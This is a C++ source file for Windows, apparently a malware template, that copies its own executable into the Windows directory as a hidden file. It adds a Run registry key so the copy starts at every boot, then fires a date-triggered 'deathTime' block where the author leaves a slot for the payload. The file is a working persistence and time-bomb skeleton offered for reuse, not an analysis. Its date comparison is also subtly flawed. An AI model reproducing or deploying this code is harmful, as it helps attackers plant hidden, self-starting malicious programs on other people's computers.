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#include <windows.h>
#include <fstream>
#include <time.h>
 
//----------------------settings-----------------------------------------------
#define SOFTNAME "\\start.exe" //file name after installation
#define REGNAME "myname" //program name that will be displayed in the startup
#define DAY 4            //day start program (1-31)
#define MON 2            //month start program (1-12)
#define YEAR 2012        //Year 
 
 
 
//--------------global variables-------------------------------------------
char myname[1024],windir[1024];
HKEY rKey;
time_t rawtime;
struct tm * timeinfo,deathTime;
 
 
 
//------------------------------------------------------------------------------
using namespace std;
//------------------------------------------------------------------------------
int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)
 
{
    HWND hwnd;               /* This is the handle for our window */
    MSG messages;            /* Here messages to the application are saved */
    WNDCLASSEX wincl;        /* Data structure for the windowclass */
    //--------------------------------------------------------------------------
    GetModuleFileName(hThisInstance,myname,sizeof (myname));//get its location in the system
    GetWindowsDirectory(windir,sizeof(windir));//get the directory where you installed Windows
    strcat(windir,SOFTNAME);//add the name of the program to a directory for Windows install path to get the file
    
    //---------------begin to put---------------------------------------
    ifstream in(windir);//try to open the file
    if(!in.is_open())//if it does not open
    {
        in.close();//close the file, because we need
    
        CopyFile(myname,windir,TRUE);//copying
        SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);//add attributes to the new copy
        
        RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &rKey);//open registry branch
        RegSetValueEx(rKey, REGNAME, 0, REG_SZ, (BYTE*)(LPCTSTR)windir, 35);//writing in the open branch that we want
        RegCloseKey(rKey);//close the registry key
        
    }
    rawtime=time(NULL);//get system time
    timeinfo=localtime(&rawtime);//transform the system time in the format convenient for us
    
    //fill data
    deathTime.tm_mday=DAY;
    deathTime.tm_mon=MON-1;
    deathTime.tm_year=YEAR-1900;
    
    if(deathTime.tm_mday<=timeinfo->tm_mday&&deathTime.tm_mon<=timeinfo->tm_mon&&deathTime.tm_year<=timeinfo->tm_year)//check the date if older than the specified => execute code
    {
        
                //And finally, here we write our code =)
 
    }
    return 0;
}
 
// Coded by LEX //